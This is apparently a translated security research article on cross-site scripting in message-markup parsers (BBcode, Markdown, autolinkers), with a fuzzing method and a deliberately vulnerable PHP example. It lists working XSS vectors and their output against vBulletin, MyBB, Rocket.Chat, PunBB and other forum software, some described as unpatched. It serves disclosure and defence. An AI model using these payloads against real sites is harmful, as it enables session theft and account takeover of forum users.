解析器
什麼是解析器,它們在消息中的作用是什麼?
解析器是在文本中查找子字元串的應用程式。在解析消息時,他們可以找到一個子字元串并将其轉換為正确的 HTML 代碼。
消息中衆所周知的解析器

HTML 作為消息标記
一些已知的應用程式允許使用列入白名單的 HTML 标簽,如
<b>
、
<u>
、
<img>
(WordPress、Vanilla 論壇等)。對于沒有黑客心态的開發人員來說,在清理這些标簽時很容易忽略一些可能性。這就是為什麼我們認為允許即使是有限的标簽清單也是開發人員最糟糕的選擇之一。
BBcode
BBcode 是一種輕量級标記語言,用于在許多 Internet 論壇中格式化消息,于 1998 年首次推出。有幾個 BBCode 和相應 HTML 代碼的示例:
輸入 | 輸出 |
---|---|
[b]text[/b] | <b>text</b> |
[i]text[/i] | <i>text</i> |
[url]http://google.com/[/url] | <a href="http://google.com/">http://google.com/</a> |
[img]/favicon.ico[/img] | <img src="/favicon.ico" /> |
Markdown
Markdown 是一種輕量級标記語言,用于使用純文字編輯器建立格式化文本。它于 2004 年首次推出。其他一些示例:
輸入 | 輸出 |
---|---|
**text** | <b>text</b> |
*text* | <i>text</i> |
[text](http://google.com/) | <a href="http://google.com/">http://google.com/</a> |
 | <img alt="text" src="/favicon.ico" /> |
AsciiDoc
AsciiDoc 是一種人類可讀的文檔格式,在語義上等同于 DocBook XML,但使用 2002 年引入的純文字标記約定:
輸入 | 輸出 |
---|---|
*text* | <b>text</b> |
_text_ | <i>text</i> |
[text](http://google.com/) | <a href="http://google.com/">http://google.com/</a> |
 | <img alt="text" src="/favicon.ico" /> |
reStructuredText
reStructuredText(RST、ReST 或 reST)是一種文本資料檔案格式,主要用于 Python 程式設計語言社群的技術文檔。于 2002 年首次推出:
輸入 | 輸出 |
---|---|
**text** | <b>text</b> |
*text* | <i>text</i> |
`text <http://google.com/>` | <a href="http://google.com/">http://google.com/</a> |
.. image:: /favicon.ico:alt: text | <img alt="text" src="/favicon.ico" /> |
其他知名解析器
除了消息和評論中的文本标記解析器之外,您還可以找到 URL 和電子郵件解析器、智能 URL 解析器,它們不僅可以了解 HTTP 連結,還可以了解圖像或 YouTube 連結并将其轉換為 HTML。此外,您還可以找到從文本變成圖檔的表情符号和表情符号、指向使用者個人資料的連結以及可點選的主題标簽:
輸入 | 輸出 |
---|---|
:) | <img src="/images/smile.jpg" alt=":)"> |
:smile: | <img src="/images/smile.jpg" alt=":smile:"> |
[email protected] | <a href="mailto:[email protected]">[email protected]</a> |
https://www.youtube.com/watch?v=L_LUpnjgPso | <iframe src="https://www.youtube.com/embed/L_LUpnjgPso"></iframe> |
http://google.com/image.jpg | <img src="http://google.com/image.jpg"> |
#hashtag | <a href="search?q=%23hashtag">#hashtag</a> |
@username | <a href="/profile/username">@username</a> |
我們對這個功能中的錯誤了解多少?
如果您在 google 上搜尋“markdown XSS”,您會發現缺少 HTML 字元和 URL 方案清理的示例。讓我們從他們開始。
缺少 HTML 字元清理
當解析器将使用者輸入轉換為 HTML 并且同時不清理 HTML 字元時,存在漏洞。它可能會影響諸如尖括号
<
(0x3c) 之類的字元,這些字元負責打開新的 HTML 标簽和引号
"
(0x22)、
'
(0x27),它們負責 HTML 屬性的開頭和結尾:
輸入 | 輸出 |
---|---|
[url]http://google.com/<img src=s onerror=alert(1)>[/url] | <a href="http://google.com/%3cimg%20src=s%20onerror=alert(1)%3e">http://google.com/<img src=s onerror=alert(1)></a> |
[img]/favicon.ico?id="onload="alert(1)[/img] | <img src="/favicon.ico?id="onload="alert(1)" /> |
缺少“javascript:” URL 方案清理
當解析器轉換包含 URL 的使用者輸入時,可以利用此漏洞。如果此類解析器不清理“javascript:” URL 方案,它将允許攻擊者執行任意 JavaScript 并執行 XSS 攻擊:
輸入 | 輸出 |
---|---|
[url=javascript:alert(1)]Click me![/url] | <a href="javascript:alert(1)">Click me!</a> |
[video]javascript:alert(1)[/video] | <iframe src="javascript:alert(1)"></iframe> |
缺少“檔案:”URL 方案清理
這是解析器轉換包含 URL 的使用者輸入時的另一個漏洞。這次的原因是“file://” URL 方案清理不足。此漏洞可能導緻對桌面應用程式的嚴重攻擊。例如,使用 JavaScript 讀取任意用戶端檔案,使用純 HTML 執行任意用戶端檔案,NTLM 哈希洩漏。它們可用于對 Windows 使用者進行“傳遞哈希”或離線密碼暴力攻擊:
輸入 | 輸出 |
---|---|
[url]file://1.3.3.7/test.txt[/url] | <a href="file://1.3.3.7/test.html">file://1.3.3.7/test.txt</a> |
[video]file://localhost/C:/windows/system32/calc.exe[/video] | <iframe src="file://localhost/C:/windows/system32/calc.exe"></iframe> |
[img]file://1.3.3.7/test.jpg[/img] | <img src="file://1.3.3.7/test.jpg"> |
解碼
當解析器将使用者輸入轉換為 HTML、清理 HTML 字元,但在它從已知編碼解碼使用者輸入之後存在漏洞。HTML 相關編碼可以是 urlencode
"
– (%22) 或 HTML 實體轉換
"
– ("e;/"/")
輸入 | 輸出 |
---|---|
[url]http://google.com/test%22test%2522test%252522[/url] | <a href="http://google.com/test"test"test""></a> |
[url]http://google.com/test"e;test"e;test&quote;[/url] | <a href="http://google.com/test"test"test""></a> |
具有嵌套條件的解析器
嵌套條件是當一個負載由兩個不同的解析器處理時,通過一些操作,我們可以将任意 JavaScript 注入頁面。這些漏洞很容易被開發人員和黑客忽視。
但是,我們發現了這種類型的錯誤,您可以通過模糊測試輕松找到!
這是一個易受攻擊的應用程式的 PHP 代碼示例:
<?php
function returnCLickable($input)
{
$input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input);
$input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</a>', $input);
$input = preg_replace('/\n/', '<br>', $input);
return $input . "\n\n";
}
$message = returnCLickable(htmlspecialchars($_REQUEST['msg']));
?>
複制
使用者輸入作為經過清理的文本傳遞給函數的參數,該函數
returnClickable
查找 url 和電子郵件并傳回可點選元素的 HTML 代碼。
起初看起來很安全,但如果您嘗試在 URL 中發送包含電子郵件的字元串,解析器将傳回損壞的 HTML 代碼,并且您的使用者輸入将從 HTML 屬性值遷移到 HTML 屬性名稱。
輸入 | 輸出 |
---|---|
http://google.com/[email protected]?subject='qwe'onmouseover='alert(1)' | <a href="http://google.com/<a href="mailto:[email protected]?subject='qwe'onmouseover='alert(1)'">http://google.com/[email protected]?subject=''onmouseover='alert(1)'</a>">[email protected]?subject=''onmouseover='alert(1)'">http://google.com/[email protected]?subject=''onmouseover='alert(1)'</a></a> |
模糊清單建構邏輯
為了更好地了解,我們将向您展示一個 vBulletin 示例。這是通過嵌套解析器發現 XSS 的模糊清單片段。易受攻擊的 BBcode 标簽是
[video]
,允許我們插入新 HTML 屬性的标簽是
[font]
:
[img]http://aaa.ru/img/header.jpg[font=qwe]qwe[/font]qwe[/img]
[VIDEO="qwe[font=qwe]qwe[/font];123"]qwe[/VIDEO]
[VIDEO="qwe;123"]qw[font=qwe]qwe[/font]e[/VIDEO]
[video="youtube;123[font=qwe]qwe[/font]"]https://www.youtube.com/watch?v=jEn2cln7szEq[/video]
[video=twitch;123]https://www.twitch.tv/videos/285048327?collection=-41EjFuwRRWdeQ[font=qwe]qwe[/font][/video]
[video=youtube;123]https://www.youtube.com/watch?v=jEn2cln7szE[font=qwe]qwe[/font][/video]
[video=vimeo;123]https://vimeo.com/channels/staffpicks/285359780[font=qwe]qwe[/font][/video]
[video=mixer;123]https://www.facebook.com/gaming/?type=127929-Minecraft[font=qwe]qwe[/font][/video]
[video=metacafe;123]http://www.metacafe.com/watch/11718542/you-got-those-red-buns-hun/[font=qwe]qwe[/font][/video]
[video=liveleak;123]https://www.liveleak.com/view?i=715_1513068362[font=qwe]qwe[/font][/video]
[video=facebook;123]https://www.facebook.com/vietfunnyvideo/videos/1153286888148775[font=qwe]qwe[/font]/[/video]
[video=dailymotion;123]https://www.dailymotion.com/video/x6hx1c8[font=qwe]qwe[/font][/video]
[FONT=Ari[font=qwe]qwe[/font]al]qwe[/FONT]
[SIZE=11[font=qwe]qwe[/font]px]qwe[/SIZE]
[FONT="Ari[font=qwe]qwe[/font]al"]qwe[/FONT]
[SIZE="11[font=qwe]qwe[/font]px"]qwe[/SIZE]
[email]qwe@qw[font=qwe]qwe[/font]e.com[/email]
[email=qwe@qw[font=qwe]qwe[/font]e.com]qwe[/email]
[url]http://qwe@qw[font=qwe]qwe[/font]e.com[/url]
[url=http://qwe@qw[font=qwe]qwe[/font]e.com]qwe[/url]
[email="qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/email]
[url="http://qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/url]
複制
第1步
枚舉可以轉換為 HTML 代碼的所有可能字元串并儲存到清單 B:
http://google.com/?param=value
http://username:[email protected]/
[color=colorname]text[/color]
[b]text[/b]
:smile:
複制
第2步
儲存允許您将 HTML 中的參數作為插入點傳遞到清單 A 的行,并标記清單 B 中的有效負載将被插入的位置。您還可以使用清單 C 來檢查 HTML 字元清理、Unicode 支援或 1 位元組模糊測試:
http://google.com/?param=va%listC%%listB%lue
http://username:pass%listC%%listB%[email protected]/
[color=color%listC%%listB%name]text[/color]
複制
第 3 步
使用清單 A、B 和 C 生成模糊清單:
http://google.com/?param=va<[color=colorname]text[/color]lue
http://username:pass<[b]text[/b][email protected]/
[color=color<:smile:name]text[/color]
複制
異常檢測
方法 1 – 視覺
當您看不到 HTTP 流量或傳回消息的 HTML 源時,您可以在桌面/移動應用程式上使用此方法。
預期結果:HTML 代碼塊 (
">
,
" >
,
"/>
) 變得可見。
方法二——正規表達式
當您應用全自動模糊測試時,可以使用此方法。
例如,我們使用正規表達式來搜尋
<
HTML 屬性内的開始 HTML 标記字元:
我們使用 BurpSuite Intruder 将這種模糊測試技術應用于 vBulletin 闆。我們按包含所用正規表達式的真/假條件的第七列對結果表進行排序。在螢幕截圖的底部,您可以看到成功測試用例的 HTML 源代碼,其中找到并通過我們的正規表達式規則突出顯示的子字元串:
發現的漏洞
這不是一個完整的清單,一些供應商沒有打更新檔,還有一些我們不能透露的......
vBulletin < 5.6.4 PL1、5.6.3 PL1、5.6.2 PL2
CVE:未配置設定
XSS向量(視訊BBcode+字型BBcode):
[VIDEO="aaa;000"]a[FONT="a onmouseover=alert(location) a"]a[/FONT]a[/VIDEO]
複制
HTML 輸出:
<a class="video-frame h-disabled" href="a<span style="font-family:a onmouseover=alert(location) a">a</span>a" data-vcode="000" data-vprovider="aaa">
複制
MyBB
CVE:CVE-2021-27279。
XSS 向量(emal BBcode + email BBcode 另一種文法):
[email][email protected]?[[email protected]? onmouseover=alert(1) a]a[/email][/email]
複制
HTML 輸出:
<a href="mailto:[email protected]?<a href="mailto:[email protected]? onmouseover=alert(1) a" class="mycode_email">a" class="mycode_email">[email protected]?[[email protected]? onmouseover=alert(1) a]a</a></a>
複制
維基百科
CVE:CVE-2021-29231
XSS 向量(div 标題 wikitext + font-family wikitext):
%define=aa font-family='a="a'%
(:div title='a%aa% a' style='a':)"onmouseover="alert(1)"
test
複制
HTML 輸出:
<div title='a<span style='font-family: a="a;'> a' style='a' >"onmouseover="alert(1)"</span> <p>test
複制
Rocket.Chat
CVE:CVE-2021-22886
XSS 向量(url 解析器 + markdown url):
[ ](http://www.google.com)
www.google.com/pa<http://google.com/onmouseover=alert(1); a|Text>th/a
複制
HTML 輸出:
<a href="http://www.google.com/pa<a data-title="http://google.com/onmouseover=alert(1); a" href="http://google.com/onmouseover=alert(1); a" target="_blank" rel="noopener noreferrer">Text</a>th/a" target="_blank" rel="noopener noreferrer">www.google.com/pa<a data-title="http://google.com/onmouseover=alert(1); a" href="http://google.com/onmouseover=alert(1); a" target="_blank" rel="noopener noreferrer">Text</a>th/a</a>
複制
XMB
CVE:CVE-2021-29399
XSS 向量(URL BBcode + URL BBcode 另一種文法):
[url]http://a[url=http://onmouseover=alert(1)// a]a[/url][/url]
複制
HTML 輸出:
<a href='http://a<a href='http://onmouseover=alert(1)// a' onclick='window.open(this.href); return false;'>a' onclick='window.open(this.href); return false;'>http://a[url=http://onmouseover=alert(1)// a]a</a></a>
複制
SCEditor < 3 / SMF 2.1 – 2.1 RC3
CVE:未配置設定
XSS 向量(BBcode + BBcode):
[email]a@a[size="onfocus=alert(1) contenteditable tabindex=0 id=xss q"]a[/email].a[/size]
複制
HTML 輸出:
<a href="mailto:a@a<font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">a</font>">a@a<font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">a</font></a><font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">.a</font>
複制
PunBB
CVE:CVE-2021-28968
XSS向量(emal BBcode + url BBcode inside b BBcode):
[email][email protected][b][url]http://onmouseover=alert(1)//[/url][/b]a[/email]
複制
HTML 輸出:
<a href="mailto:[email protected]<strong><a href="http://onmouseover=alert(1)//">http://onmouseover=alert(1)//</a></strong>a">[email protected]<strong><a href="http://onmouseover=alert(1)//">http://onmouseover=alert(1)//</a></strong>a</a>
複制
香草論壇
CVE:未配置設定
XSS 向量(HTML <img alt> + HTML <img>):
<img alt="<img onerror=alert(1)//"<">
複制
HTML 輸出:
img alt="<img onerror=alert(1)//" src="src" />
複制
消除建議
根據我們的發現,我們可以說,即使是具有嵌套條件的解析器也可以保護的最佳清理選項之一是将使用者輸入完整編碼為 HTML 實體:
例如,讓我們看看已經打過更新檔的 Phorum CMS。
在此 CMS 的最後一個版本中,其中一個 BBcodes 将所有使用者輸入編碼為 HTML 實體。當我們試圖在以前的版本上重制它時,這是一個 XSS。這個更新檔确實是一個很好的例子:
my e-mail: [email][email protected][/email]
複制